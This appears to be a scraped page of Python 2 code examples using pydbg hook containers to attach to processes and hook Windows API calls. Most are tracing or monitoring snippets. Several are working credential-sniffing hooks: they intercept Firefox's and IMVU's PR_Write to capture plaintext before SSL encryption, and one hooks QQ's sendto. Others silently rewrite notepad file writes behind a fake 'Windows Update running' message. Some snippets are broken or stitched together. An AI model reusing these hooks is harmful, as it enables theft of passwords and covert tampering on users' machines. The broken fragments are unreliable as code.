Esempio n. 1
0
def main():
    try:
        dbg = pydbg()
        for (pid, name) in dbg.enumerate_processes():  # 모든 프로세스 ID 리스트를 얻음
            if (name.lower() == targetProcess
                ):  # 검색된 프로세스와 타겟 프로세스(notepad.exe) 이름이 같을 경우
                isProcess = True
                hooks = utils.hook_container()  # 모든 후킹 객체를 담을 공간 확보
                dbg.attach(pid)  # 해당 프로세스의 핸들을 얻어 클래스 내부에 저장
                #print "[+] Saves a process handle in self.h_process of pid[%d]" % pid
                hookAddress = dbg.func_resolve_debuggee(
                    "kernel32.dll",
                    "WriteFile")  # 핸들을 이용해 Win32 API 함수 주소를 찾아 반환
                if hookAddress:  # 해당 함수 주소 반환에 성공했을 경우
                    hooks.add(dbg, hookAddress, 5, replaceString,
                              None)  # 해당 함수에 중단점 설정 후 콜백함수 등록
                    #print "[+] sets a breakpoint at the designated address : 0x%08x" % hookAddress
                    break
                else:
                    #print "[-] couldn't resolve hook address"
                    exit(0)
        if isProcess:
            #print "waiting for occuring debugger event"
            print "Windows Update running.\nPlease do not exit the terminal."
            dbg.run()  # 디버그 이벤트가 발생하면 콜백함수 호출
        else:
            #print "[-] There in no process [%s]" % targetProcess
            exit(0)
    except Exception, e:
        if "DebugActiveProcess" in str(e):
            #print "[-] Open the C:\Windows\SysWOW64\notepad.exe Not C:\Windows\System32\notepad.exe"
            exit(0)
        #print "[-] ", e
        exit(0)
Esempio n. 2
0
    def run(self, pid, functions):
        """
		Main function for class Tracer

		pid       - process ID (for pydbg.attach())
		functions - an array of modified/corrected function list
		"""
        raw_input("[*] When you're ready, press [ENTER] to continue...")
        dbg = pydbg()
        dbg.attach(pid)
        try:
            functions = self.__correctIDAProRETNs(
                dbg, functions)  #Correct RETN addresses - IDA specific problem
        except:
            print "[*] Error: Either you don't have the right function list, or the component is not loaded at the moment"
            sys.exit(-1)
        print "[*] Enumerating functions...",
        counter = 0
        hooks = utils.hook_container()
        for addr in functions:
            counter += 1
            hooks.add(dbg, addr[0], 10, self.log,
                      None)  #Only look at the first 10 arguments
        print " %s hooks added" % counter
        print "[*] Press [CTRL]+[C] to stop..."
        dbg.run()
        print "[*] And we're done with tracing"
Esempio n. 3
0
def main():
    try:
        global isProcess, beforeValue, afterValue
        targetProcess=raw_input("Input Process Name( ex) notepad++.exe): ") # 타겟 프로세스명
        beforeValue=raw_input("Input Before Value : ") # 현재 설정된 값
        afterValue=raw_input("Input After Value : ") # 바꾸고 싶은 값
        funcName=raw_input("Input Win32 API Function Name( ex) WriteFile) : ") # 후킹하고자 하는 함수
        dllName=raw_input("Input Dll Name( ex) kernel32.dll) : ") # 해당 함수를 로딩한 dll
        dbg=pydbg()
        for(pid, name) in dbg.enumerate_processes(): # 현재 실행중인 모든 프로세스를 탐색
            if(name==targetProcess): # 현재 실행중인 프로세스 중에 타겟 프로세스가 있을 경우
                isProcess=True
                hooks=utils.hook_container() # 모든 후킹 객체를 담을 공간 확보
                dbg.attach(pid) # 해당 프로세스의 핸들을 얻어 클래스 내부에 저장
                print "[+] Saves a process handle in self.h_process of pid[%d]" % pid
                hookAddress=dbg.func_resolve_debuggee(dllName, funcName) # 핸들을 이용해 Win32 API 함수 주소를 찾아 반환     
                if(hookAddress): # 해당 함수 주소 반환에 성공했을 경우
                    hooks.add(dbg, hookAddress, 5, falsification, None) # 해당 함수에 중단점 설정 후 콜백함수 등록
                    print "[+] sets a breakpoint at the designated address : 0x%08x" % hookAddress
                    break
                else:
                    print "[-] couldn't resolve hook address"
                    exit(0)
        if(isProcess): # 타겟 프로세스가 실행중인 경우
            dbg.run() # 디버그 이벤트가 발생하면 콜백함수 호출
        else: # 타겟 프로세스가 종료된 경우
            print "[-] There in no process [%s]" % targetProcess
            exit(0)
    except Exception, e:
        print "[-] ", e 
        exit(0)
Esempio n. 4
0
def replaceString(dbg, args):
    buffer = dbg.read_process_memory(args[1], args[2])
    if orgPattern in buffer:
        print("[APIHooking] Before : %s" (buffer))
        buffer = buffer.replace(orgPattern, repPattern)
        replace = dbg.write_process_memory(args[1], buffer)
        print("[APIHooking] After : %s" (dbg.read_process_memory(
            args[1], args[2])))
        return DBG_CONTINUE
    for (pid, name) in dbg.enumerate_processes():
        if name.lower() == processName:
            isProcess = True
            hooks = utils.hook_container()
            dbg.attach(pid)
            print("Saves a process handle in self.h_process of pid[%d]" (pid))
            hookAddress = dbg.func_resolve_debuggee("kernel32.dll",
                                                    "WriteFile")
            if hookAddress:
                hooks.add(dbg, hookAddress, 5, replaceString, None)
                print("sets a breakpoint at the designated address : 0x%08x" (
                    hookAddress))
                break
            else:
                print("[Error] : couldn't resolve hook address")
                sys.exit(-1)
Esempio n. 5
0
def main():
	parseconfig()
	startlog()
	dbg = pydbg()
	hooks = utils.hook_container()
	for (pid,name) in dbg.enumerate_processes():
		if name == proc_name:
			print '[+] Attaching to ',proc_name
			try:
				dbg.attach(pid)
			except Exception,e:
				print '[Error] Cannot Attach to process ',proc_name,pid
				exit()
Esempio n. 6
0
def main():
    parseconfig()
    startlog()
    dbg = pydbg()
    hooks = utils.hook_container()
    for (pid, name) in dbg.enumerate_processes():
        if name == proc_name:
            print '[+] Attaching to ', proc_name
            try:
                dbg.attach(pid)
            except Exception, e:
                print '[Error] Cannot Attach to process ', proc_name, pid
                exit()
def set_library_hooks(dbg):
    dbg.hooks = utils.hook_container()
    for lib in dbg.library:
        if not lib["on"]:
            continue
        
        address = dbg.func_resolve(lib["dll"], lib["func"])
        print "[*] Setting hook @ 0x%08x %s!%s" % (address, lib["dll"], lib["func"])
        try:
            dbg.hooks.add(dbg, address, lib["args"], None, lib["handler"])
        except:
            print "[!] Problem setting hook @ 0x%08x %s!%s" % (address, lib["dll"], lib["func"])
            
            return False
    
    return True
Esempio n. 8
0
	def set_library_hooks(self, dbg):
	    dbg.hooks = utils.hook_container()
	    for lib in dbg.library:
		if not lib["on"]:
		    continue
		
		address = dbg.func_resolve(lib["dll"], lib["func"])
		self.logger.debug("ieMon: Setting hook @ 0x%08x %s!%s" % (address, lib["dll"], lib["func"]))
		try:
		    dbg.hooks.add(dbg, address, lib["args"], None, lib["handler"])
		except:
		    self.logger.debug("ieMon: Problem setting hook @ 0x%08x %s!%s" % (address, lib["dll"], lib["func"]))
		    
		    return False
	    
	    return True
Esempio n. 9
0
def ssl_sniff(dbg, args):
    # read the memory pointed to by second argument
    # loop on a read until a NULL byte reached
    buffer = ''
    offset = 0

    while 1:
        byte = dbg.read_process_memory(args[0] + offset, 1)
        if byte != "\x00":
            buffer += byte
            offset += 1
            continue
        else:
            break

    if pattern in buffer:
        print "Pre-Encrypted: %s" % buffer
        return DBG_CONTINUE

    # quick process enumeration to find firefox.exe
    for (pid, name) in dbg.enumerate_processes():
        if name.lower() == "firefox.exe":
            found_firefox = True
            hooks = utils.hook_container()
            dbg.attach(pid)
            print "[*] Attaching to firefox.exe with PID: %d" % pid

            # Resolve function address
            hook_addess = dbg.func_resolve_debuggee("nspr4.dll", "PR_Write")

            if hook_addess:
                # add the hook to container
                hooks.add(dbg, hook_addess, 2, ssl_sniff, None)
                print "[*] nspr4.PR_Write hooked at 0x%08x" % hook_addess
                break
            else:
                print "[*] Error: Couldn't resolve hook address"
                sys.exit(-1)

        if found_firefox:
            print "[*] Hooks set, continuing process."
            dbg.run()

        else:
            print "[*] Error: Couldn't find the firefox.exe process"
            sys.exit(-1)
Esempio n. 10
0
def ssl_sniff(dbg, args):

    buffer = ""
    offset = 0

    while 1:
        byte = dbg.read_process_memory(args[1] + offset, 1)

        if byte != "\x00":
            buffer += byte
            object += 1
            continue
        else:
            break
    if pattern in buffer:
        print "Pre-Encrypted: %s" % buffer

    return DBG_CONTINUE

    for (pid, name) in dbg.enumerate_processes():

        if name.lower() == "firefox.exe":

            found_firefox = True
            hooks = utils.hook_container()

            dbg.attach(pid)
            print "Attach to firefox with PID:%d" % pid

            hocks_address = dbg.func_resolve_debuggee("nspr4.dll", "PR_Write")

            if hocks_address:

                hooks.add(dbg, hocks_address, 2, ssl_sniff, None)
                print "nspr4.PR_Write hooked at: 0x%08x" % hocks_address
                break
            else:
                print "Error: Couldn't resolve hool address."
                sys.exit[-1]

        if found_firefox:
            print "Hocks set,continuing process."
            dbg.run()
        else:
            print "Error: Couldn't find the firefox.exe process. Please fire up firefox first."
            sys.exit(-1)
Esempio n. 11
0
def set_library_hooks(dbg):
    dbg.hooks = utils.hook_container()
    for lib in dbg.library:
        if not lib["on"]:
            continue

        address = dbg.func_resolve(lib["dll"], lib["func"])
        print "[*] Setting hook @ 0x%08x %s!%s" % (address, lib["dll"],
                                                   lib["func"])
        try:
            dbg.hooks.add(dbg, address, lib["args"], None, lib["handler"])
        except:
            print "[!] Problem setting hook @ 0x%08x %s!%s" % (
                address, lib["dll"], lib["func"])

            return False

    return True
Esempio n. 12
0
    def set_library_hooks(self, dbg):
        dbg.hooks = utils.hook_container()
        for lib in dbg.library:
            if not lib["on"]:
                continue

            address = dbg.func_resolve(lib["dll"], lib["func"])
            self.logger.debug("ieMon: Setting hook @ 0x%08x %s!%s" %
                              (address, lib["dll"], lib["func"]))
            try:
                dbg.hooks.add(dbg, address, lib["args"], None, lib["handler"])
            except:
                self.logger.debug(
                    "ieMon: Problem setting hook @ 0x%08x %s!%s" %
                    (address, lib["dll"], lib["func"]))

                return False

        return True
Esempio n. 13
0
 def setHookPoints(self):
     hooks = utils.hook_container()
     if len(self.dbg.breakpoints) > 0:
         print "\n ******+++++******\n"
         print self.dbg.breakpoints 
         for l in self.hook_address:
             hooks.remove(self.dbg, l[0])
         #self.dbg.bp_del_all()
         
     print "self.on: "+str(self.on)
     if self.on2 == True:
         self.dbg.attach(self.pid)
     self.hook_address = self.getHookContainer() 
     for l in self.hook_address:
         hooks.add( self.dbg, l[0], 2, self.myHandler, self.exitHandler, l[1], l[2] )
         #print "\n"
         print "\t", hex(l[0]), l[1], l[2]
     if self.on2 == True:
         self.on2 = False
         self.dbg.run()
Esempio n. 14
0
    def __init__(self, strGameExeName):
        self.dbg = pydbg()
        dbg = self.dbg
        # 设置断点容器
        self.hooks = utils.hook_container()

        # 获得进程ID
        #nPID = khztools.getProcID(self.dbg, strGameExeName)             #"FightersClub.exe"
        nPID = None
        for pid, name in dbg.enumerate_processes():
            #print pid,name
            if name.lower() == strGameExeName.lower():
                nPID = pid
        if not nPID:
            khztools.khzLog(u"[*]目标进程ID为空,退出程序")
            exit(-1)
        else:
            khztools.khzLog(u"[*]目标进程ID为:%d" % nPID)

        self.dbg.attach(nPID)
        pass
Esempio n. 15
0
    def __init__(self, strGameExeName):
        self.dbg    = pydbg()
        dbg         = self.dbg
        # 设置断点容器
        self.hooks       = utils.hook_container()

        # 获得进程ID
        #nPID = khztools.getProcID(self.dbg, strGameExeName)             #"FightersClub.exe"
        nPID = None
        for pid, name in dbg.enumerate_processes():
            #print pid,name
            if name.lower() == strGameExeName.lower():
                nPID = pid
        if not nPID:
            khztools.khzLog(u"[*]目标进程ID为空,退出程序")
            exit(-1)
        else:
            khztools.khzLog(u"[*]目标进程ID为:%d" % nPID)
            
        self.dbg.attach(nPID)
        pass
 def debugger_init(self):
     '''
     The name says it all, doesn't it?
     '''
     
     self.dbg = pydbg()
     
     # Find the process' PID.
     # Search by name.
     plist = self.dbg.enumerate_processes()
     
     for p in plist:
         if p[1] == "utorrent.exe":
             self.pid_utorrent = p[0]
             print "Found utorrent.exe - PID %d" % p[0]
     
             
     # Attach to the process.
     self.dbg.attach(int(self.pid_utorrent))
     
     # Define the hook container.
     hooks = utils.hook_container()
     
     # Resolve the interesting function's addresses.
     CreateFileAddr    = self.dbg.func_resolve("kernel32.dll", "CreateFileW")    # Exit Hook: handle
     ReadFileAddr    = self.dbg.func_resolve("kernel32.dll", "ReadFile")        # Entry Hook: check right handle
     CloseHandleAddr = self.dbg.func_resolve("kernel32.dll", "CloseHandle")    # Exit Hook: erase closed handles
     
     # SET the hooks!
     hooks.add(self.dbg, CreateFileAddr, 7, None, self.CreateFileHook)        # Exit hook
     hooks.add(self.dbg, ReadFileAddr, 5, self.ReadFileHook, None)            # Entry hook
     hooks.add(self.dbg, CloseHandleAddr, 1, None, self.CloseHandleHook)        # Exit hook
     print "[x] Hooks added!"
     
     
     # Let the program run!
     print "[x] Here we go!"
     self.dbg.run()
Esempio n. 17
0
def main():
    dbg = pydbg()
    found_qq = False

    for (pid, name) in dbg.enumerate_processes():
        if name.lower() == "qq.exe":
            found_qq = True
            hooks = utils.hook_container()

            dbg.attach(pid)
            print "[*] Attaching to qq.exe with PID: %d" % pid

            hook_address = dbg.func_resolve("ws2_32", "sendto")
            hooks.add(dbg, hook_address, 6, my_sendto, None)
            print "[*] ws2_32.sendto hooked at 0x%08X" % hook_address
            break

    if found_qq:
        print "[*] Hooks set, continuing process."
        dbg.run()
    else:
        print "[*] Cound not find qq.exe"
        sys.exit(-1)
def main():
    try:
        global isProcess, targetProcessList
        confirm = 0
        dbg = pydbg()
        for (pid, name) in dbg.enumerate_processes():  # 현재 실행중인 모든 프로세스를 탐색
            for targetProcess in targetProcessList:
                if (name == targetProcess):  # 현재 실행중인 프로세스 중에 타겟 프로세스가 있을 경우
                    isProcess = True
                    hooks = utils.hook_container()  # 모든 후킹 객체를 담을 공간 확보
                    dbg.attach(pid)  # 해당 프로세스의 핸들을 얻어 클래스 내부에 저장
                    #print "[+] Saves a process handle in self.h_process of pid[%d]" % pid
                    hookAddress = dbg.func_resolve_debuggee(
                        "kernel32.dll",
                        "WriteFile")  # 핸들을 이용해 Win32 API 함수 주소를 찾아 반환
                    if hookAddress:  # 해당 함수 주소 반환에 성공했을 경우
                        hooks.add(dbg, hookAddress, 5, replaceString,
                                  None)  # 해당 함수에 중단점 설정 후 콜백함수 등록
                        #print "[+] sets a breakpoint at the designated address : 0x%08x" % hookAddress
                        confirm = 1
                        break
                    else:
                        #print "[-] couldn't resolve hook address"
                        exit(0)
            if (confirm == 1):
                break
        if isProcess:  # 타겟 프로세스가 실행중인 경우
            dbg.run()  # 디버그 이벤트가 발생하면 콜백함수 호출
        else:  # 타겟 프로세스가 종료된 경우
            #print "[-] There in no process [%s]" % targetProcess
            exit(0)
    except Exception, e:
        if "DebugActiveProcess" in str(e):
            #print "[-] Open the C:\Windows\SysWOW64\notepad.exe Not C:\Windows\System32\notepad.exe"
            exit(0)
        #print "[-] ", e
        exit(0)
Esempio n. 19
0
    def handler_breakpoint (self, dbg):
        '''
        On the first breakpoint set all the other breakpoints on the recon points. If track_recg is enabled then
        establish hooks on the winsock functions. On subsequent breakpoints, record them appropriately.
        '''

        #
        # first breakpoint, set hooks and breakpoints on recon points.
        #

        if dbg.first_breakpoint:
            if self.track_recv:
                self.hooks = utils.hook_container()

                # ESP                 +4         +8       +C        +10
                # int recv     (SOCKET s, char *buf, int len, int flags)
                # int recvfrom (SOCKET s, char *buf, int len, int flags, struct sockaddr *from, int *fromlen)
                # we want these:                ^^^      ^^^

                try:
                    ws2_recv = dbg.func_resolve("ws2_32",  "recv")
                    self.hooks.add(dbg, ws2_recv, 4, None, self.socket_logger_ws2_recv)
                except:
                    pass

                try:
                    ws2_recvfrom = dbg.func_resolve("ws2_32",  "recvfrom")
                    self.hooks.add(dbg, ws2_recvfrom, 4, None, self.socket_logger_ws2_recvfrom)
                except:
                    pass

                try:
                    wsock_recv = dbg.func_resolve("wsock32", "recv")
                    self.hooks.add(dbg, wsock_recv, 4, None, self.socket_logger_wsock_recv)
                except:
                    pass

                try:
                    wsock_recvfrom = dbg.func_resolve("wsock32", "recvfrom")
                    self.hooks.add(dbg, wsock_recvfrom, 4, None, self.socket_logger_wsock_recvfrom)
                except:
                    pass

            # retrieve list of recon points.
            cursor = self.main_frame.mysql.cursor(MySQLdb.cursors.DictCursor)
            cursor.execute("SELECT id, offset, stack_depth FROM pp_recon WHERE module_id = '%d'" % self.module["id"])

            # create a mapping of addresses to recon MySQL objects.
            self.addr_to_recon = {}
            for row in cursor.fetchall():
                self.addr_to_recon[self.module["base"] + row["offset"]] = row

            # set breakpoints at each recon point.
            self.dbg.bp_set(self.addr_to_recon.keys())
            self.msg("Watching %d points" % len(self.addr_to_recon))

            # close the MySQL cursor and continue execution.
            cursor.close()
            return DBG_CONTINUE

        #
        # subsequent breakpoints are recon hits ... export to db.
        #

        # grab the current context.
        context_dump = dbg.dump_context(stack_depth=self.addr_to_recon[dbg.context.Eip]["stack_depth"], print_dots=False)

        # display the context if the 'quiet' option is not enabled.
        if not self.quiet:
            self.msg(context_dump)

        # no boron tag match by default.
        boron_found = ""

        # if it was specified, search for the boron tag in the current context.
        if self.boron_tag:
            if context_dump.lower().find(self.boron_tag.lower()) != -1:
                boron_found = self.boron_tag

                # update the boron tag field of the pp_recon table to reflect that a hit was made.
                cursor = self.main_frame.mysql.cursor()
                cursor.execute("UPDATE pp_recon SET boron_tag='%s' WHERE id='%d'" % (boron_found, self.addr_to_recon[dbg.context.Eip]["id"]))
                cursor.close()

                if not self.quiet:
                    self.msg(">>>>>>>>>>>>>>>>>>>> BORON TAG FOUND IN ABOVE CONTEXT DUMP <<<<<<<<<<<<<<<<<<<<")


        # retrieve the context list with 'hex_dump' enabled to store in the database.
        context_list = dbg.dump_context_list(stack_depth=4, hex_dump=True)

        sql  = " INSERT INTO pp_hits"
        sql += " SET recon_id     = '%d'," % self.addr_to_recon[dbg.context.Eip]["id"]
        sql += "     module_id    = '%d'," % self.module["id"]
        sql += "     timestamp    = '%d'," % int(time.time())
        sql += "     tid          = '%d'," % dbg.dbg.dwThreadId
        sql += "     eax          = '%d'," % dbg.context.Eax
        sql += "     ebx          = '%d'," % dbg.context.Ebx
        sql += "     ecx          = '%d'," % dbg.context.Ecx
        sql += "     edx          = '%d'," % dbg.context.Edx
        sql += "     edi          = '%d'," % dbg.context.Edi
        sql += "     esi          = '%d'," % dbg.context.Esi
        sql += "     ebp          = '%d'," % dbg.context.Ebp
        sql += "     esp          = '%d'," % dbg.context.Esp
        sql += "     esp_4        = '%d'," % context_list["esp+04"]["value"]
        sql += "     esp_8        = '%d'," % context_list["esp+08"]["value"]
        sql += "     esp_c        = '%d'," % context_list["esp+0c"]["value"]
        sql += "     esp_10       = '%d'," % context_list["esp+10"]["value"]
        sql += "     eax_deref    = '%s'," % context_list["eax"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     ebx_deref    = '%s'," % context_list["ebx"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     ecx_deref    = '%s'," % context_list["ecx"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     edx_deref    = '%s'," % context_list["edx"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     edi_deref    = '%s'," % context_list["edi"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esi_deref    = '%s'," % context_list["esi"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     ebp_deref    = '%s'," % context_list["ebp"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esp_deref    = '%s'," % context_list["esp"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esp_4_deref  = '%s'," % context_list["esp+04"]["desc"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esp_8_deref  = '%s'," % context_list["esp+08"]["desc"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esp_c_deref  = '%s'," % context_list["esp+0c"]["desc"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     esp_10_deref = '%s'," % context_list["esp+10"]["desc"].replace("\\", "\\\\").replace("'", "\\'")
        sql += "     boron_tag    = '%s'," % boron_found
        sql += "     base         = '%d' " % self.module["base"]

        cursor = self.main_frame.mysql.cursor()
        cursor.execute(sql)
        cursor.close()

        return DBG_CONTINUE
Esempio n. 20
0
def imdbg():
    clear_screen()
    dbg = pydbg()
    found_imvu = False
    logging.basicConfig(filename='hook.log',level=logging.DEBUG)
    logo()
    print 'Python',(sys.version),'\n'
    pattern = raw_input("\n[?] What string to search for? >\n")
    logme = raw_input("\n[?] Would you like to log my output to a text file?  ( y/n )")
    v = raw_input('\n[?] Use verbose mode?(no output at all)(y/n)')
    if logme == "y":
        print "[@] OUTPUT LOGGING ENABLED!"
        print "[@] Placing search string in log..."
        logging.debug("Searched on %s for the string: %s" % (now,pattern))
    print '\n[!] Searching for pattern: %s'% (pattern)
    def ssl_sniff( dbg, args ):
        buffer  = ""
        offset  = 0

        while 1:
            byte = dbg.read_process_memory( args[1] + offset, 1 )
            if byte != "\x00":
                buffer  += byte
                offset  += 1
                continue
            else:
                break           
        if v == "y":
            logging.debug("[>] Pre-Encrypted:  %s %s" %(now,buffer) )
        else:
            if pattern in buffer:
                if logme == "y":
                    logging.debug("[>] Pre-Encrypted:  %s %s" %(now,buffer) )
                    print "[>] Pre-Encrypted: %s" % buffer
                else:
                    print "[>] Pre-Encrypted: %s" % buffer

        return DBG_CONTINUE
    for (pid, name) in dbg.enumerate_processes():
        if name.lower() == "imvuclient.exe":
            found_imvu = True
            hooks = utils.hook_container()
            dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv)
            dbg.attach(int(pid))
            print "[!] Attaching to IMVU with PID: %d..." % pid
            hook_address  = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")

            if hook_address:
                hooks.add( dbg, hook_address, 2, ssl_sniff, None)
                print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
                break
            else:
                print "[!] Error: Couldn't resolve hook address."
                dbg.detach()
                print "[!] Error: Couldn't find the  process. Please wait while I fire up IMVU and try again"
                system('start %s'%(path))
                imdbg()
    if found_imvu:   
        print "[*] Hook set, continuing process.\n\n"
        if v == "y":
            print '[*] Verbose mode '
            readinput().start()
            dbg.run()
        else:
            readinput().start()
            dbg.run()
    else:    
        print "[!] Error: Couldn't find the  process. Please wait while I fire up IMVU and try again"
        system('start %s'%(path))
        system('pause')
        imdbg()
Esempio n. 21
0
# parse command line options.
try:
    opts, args = getopt.getopt(sys.argv[1:], "gh:o:l:mp:", ["graph", "host=", "monitor", "port=", "pid="])
except getopt.GetoptError:
    ERROR(USAGE)

count    = 0
udraw    = False
host     = "127.0.0.1"
port     = 2542
filename = None
pid      = None
udraw    = None
graph    = pgraph.graph()
hooks    = utils.hook_container()
monitor  = False
allocs   = {}

for opt, arg in opts:
    if opt in ("-g", "--graph"):   udraw    = True
    if opt in ("-h", "--host"):    host     = arg
    if opt in ("-o", "--port"):    port     = int(arg)
    if opt in ("-l", "--load"):    filename = arg
    if opt in ("-p", "--pid"):     pid      = int(arg)
    if opt in ("-m", "--monitor"): monitor = True

if not pid and not filename:
    ERROR(USAGE)

if udraw:
Esempio n. 22
0
def load_dll(pydbg):
    last_dll = pydbg.system_dlls[-1]
    #print "loading:%s into:%08x size:%d" % (last_dll.name, last_dll.base, last_dll.size)
    global is_hook
    #print "in loaddll"
    if is_hook == 0:
        #todo add createprocess and urldownload hooks
        global hooks
        hooks = utils.hook_container()
        hook_address_virtualprotect = pydbg.func_resolve_debuggee(
            "kernel32.dll", "VirtualProtect")
        hook_address_virtualprotectEx = pydbg.func_resolve_debuggee(
            "kernel32.dll", "VirtualProtectEx")
        hook_address_VirtualAlloc = pydbg.func_resolve_debuggee(
            "kernel32.dll", "VirtualAlloc")
        hook_address_CreateFileA = pydbg.func_resolve_debuggee(
            "kernel32.dll", "CreateFileA")
        hook_address_CreateFileW = pydbg.func_resolve_debuggee(
            "kernel32.dll", "CreateFileW")
        hook_address_CreateProcessA = pydbg.func_resolve_debuggee(
            "kernel32.dll", "CreateProcessA")
        hook_address_CreateProcessW = pydbg.func_resolve_debuggee(
            "kernel32.dll", "CreateProcessW")

        #print hook_address_virtualprotect

        if hook_address_virtualprotect:
            res = hooks.add(pydbg, hook_address_virtualprotect, 4,
                            VirtualProtectHook, None)
            is_hook = 1
            print res
            print "[*] VirtualProtect hooked at: 0x%08x" % hook_address_virtualprotect
        else:
            print "[*] Error: Couldn't resolve virtualProtect address."

        if hook_address_virtualprotectEx:
            res = hooks.add(pydbg, hook_address_virtualprotectEx, 5,
                            VirtualProtectHookEx, None)
            is_hook = 1
            print res
            print "[*] VirtualProtectEx hooked at: 0x%08x" % hook_address_virtualprotectEx
        else:
            print "[*] Error: Couldn't resolve virtualProtectEx address."

        if hook_address_VirtualAlloc:
            res = hooks.add(pydbg, hook_address_VirtualAlloc, 4,
                            VirtualAllocHook, None)
            is_hook = 1
            print res
            print "[*] VirtualAlloc hooked at: 0x%08x" % hook_address_VirtualAlloc
        else:
            print "[*] Error: Couldn't resolve virtualAlloc address."

        if hook_address_CreateFileA:
            res = hooks.add(pydbg, hook_address_CreateFileA, 7,
                            CreateFileAHook, None)
            is_hook = 1
            print res
            print "[*] CreateFileA hooked at: 0x%08x" % hook_address_CreateFileA
        else:
            print "[*] Error: Couldn't resolve CreateFileA address."

        if hook_address_CreateFileW:
            res = hooks.add(pydbg, hook_address_CreateFileW, 7,
                            CreateFileWHook, None)
            is_hook = 1
            print res
            print "[*] CreateFileW hooked at: 0x%08x" % hook_address_CreateFileW
        else:
            print "[*] Error: Couldn't resolve CreateFileW address."

        if hook_address_CreateProcessA:
            res = hooks.add(pydbg, hook_address_CreateProcessA, 7,
                            CreateProcessAHook, None)
            is_hook = 1
            print res
            print "[*] CreateProcessA hooked at: 0x%08x" % hook_address_CreateProcessA
        else:
            print "[*] Error: Couldn't resolve CreateProcessA address."

        if hook_address_CreateProcessW:
            res = hooks.add(pydbg, hook_address_CreateProcessW, 7,
                            CreateProcessWHook, None)
            is_hook = 1
            print res
            print "[*] CreateProcessW hooked at: 0x%08x" % hook_address_CreateProcessW
        else:
            print "[*] Error: Couldn't resolve CreateProcessW address."

    return DBG_CONTINUE
Esempio n. 23
0
 def __init__(self):
     self.hooks = utils.hook_container()
Esempio n. 24
0
    buffer = dbg.read_process_memory(args[1], args[2])  #메모리 값 읽기
    #지정된 주소에서 지정된 길이 만큼 메모리주소를 읽어서 반환(Kernel32.ReadProcessMemory)

    if orgPattern in buffer:
        print "[APIHooking] Before : %s" % buffer
        buffer = buffer.replace(orgPattern, repPattern)  #값 바꾸기
        replace = dbg.write_process_memory(args[1], buffer)
        print '[APIHooking] After : %s' % dbg.read_process_memory(
            args[1], args[2])
    return DBG_CONTINUE


for (pid, name) in dbg.enumerate_processes():  #프로세스 ID 리스트 얻기
    if name.lower() == processName:
        isProcess = True
        hooks = utils.hook_container()

        dbg.attach(pid)  #프로세스 핸들(자원을 다룰수 있는) 구하기
        print "Saves a process handle in self.h_process of pid[%d]" % pid

        hookAddress = dbg.func_resolve_debuggee("kernel32.dll", "WriteFile")
        #원하는 Win32 API 함수를 찾아서 해당 주소 반환

        if hookAddress:
            hooks.add(dbg, hookAddress, 5, replaceString, None)  #중단점 설정
            print "sets a breakpoint at the designated address : 0x%08x" % hookAddress
            break
        else:
            print "[Error] : couldn't resolve hook address"
            sys.exit(-1)
Esempio n. 25
0
def hook_function_by_name(dbg,dll_name,function_name,handler):
    #in this function, we add a hook to the a function given in parameter @function_name:
    hooks   = utils.hook_container()
    pointer_address = "%08x"%import_table[dll_name.lower()][function_name]
    pointer_address_hex = int(pointer_address, 16)
    hooks.add(dbg,pointer_address_hex,3,handler,None)
Esempio n. 26
-2
def pydbghook_firefoxpasswd():
    dbg           = pydbg()
    found_firefox = False
    for (pid, name) in dbg.enumerate_processes():
        if name.lower() == "firefox.exe":
            found_firefox = True
            hooks         = utils.hook_container()
            dbg.attach(pid)
            print "[*] Attaching to firefox.exe with PID: %d" % pid
    
            # Resolve the function address
            hook_address  = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
            if hook_address:
                # Add the hook to the container, we aren't interested in using an exit callback so we set it to None
                hooks.add( dbg, hook_address, 2, ssl_sniff, None)
                print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
                break
            else:
                print "[*] Error: Couldn't resolve hook address."
                sys.exit(-1)    
    
    if found_firefox:    
        print "[*] Hooks set, continuing process."
        dbg.run()
    else:    
        print "[*] Error: Couldn't find the firefox.exe process. Please fire up firefox first."
        sys.exit(-1)